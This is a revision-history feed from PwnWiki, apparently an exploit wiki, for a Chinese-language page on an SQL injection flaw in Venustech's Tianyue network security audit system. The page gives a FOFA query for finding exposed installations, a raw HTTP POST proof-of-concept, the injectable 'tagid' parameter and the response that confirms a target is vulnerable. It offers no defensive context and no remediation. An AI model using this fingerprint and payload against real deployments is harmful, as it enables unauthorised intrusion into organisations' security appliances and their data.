https://pwnwiki.com/index.php?action=history&feed=atom&title=%E5%95%93%E6%98%8E%E6%98%9F%E8%BE%B0%E5%A4%A9%E7%8E%A5%E7%B6%B2%E7%B5%A1%E5%AE%89%E5%85%A8%E5%AF%A9%E8%A8%88%E7%B3%BB%E7%B5%B1SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fzh-cn
啓明星辰天玥網絡安全審計系統SQL注入漏洞/zh-cn - Revision history
2026-04-03T17:47:14Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E5%95%93%E6%98%8E%E6%98%9F%E8%BE%B0%E5%A4%A9%E7%8E%A5%E7%B6%B2%E7%B5%A1%E5%AE%89%E5%85%A8%E5%AF%A9%E8%A8%88%E7%B3%BB%E7%B5%B1SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/zh-cn&diff=7146&oldid=prev
Pwnwiki: Created page with "如果返回以下信息，则漏洞存在"
2021-07-13T07:27:35Z
<p>Created page with "如果返回以下信息，则漏洞存在"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==FOFA==<br />
<pre><br />
app="启明星辰-天玥网络安全审计"<br />
</pre><br />
<br />
<br />
==POC==<br />
<pre><br />
POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1<br />
Host xxx<br />
User-Agent: Mozilla/5.0(Macintosh;Intel Mac OS X 10.15;rv:88.0) Gecko/20100101 Firefox/88.0<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br />
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3en;q=0.2<br />
Accept-Encoding: gzip,deflate<br />
Upgrade-Insecure-Requests: 1<br />
Connection: close<br />
Content-Type: application/x-www-from-urlencoded<br />
Content-Length: 23<br />
checkname=123&tagid=123<br />
</pre><br />
漏洞参数：<code>tagid</code><br />
<br />
<pre><br />
/ops/index.php?c=Reportguide&a=checkrn&a=checkrn<br />
</pre><br />
如果返回以下信息，则漏洞存在<br />
<pre><br />
{msg:,code:16,status:0}<br />
</pre></div>
Pwnwiki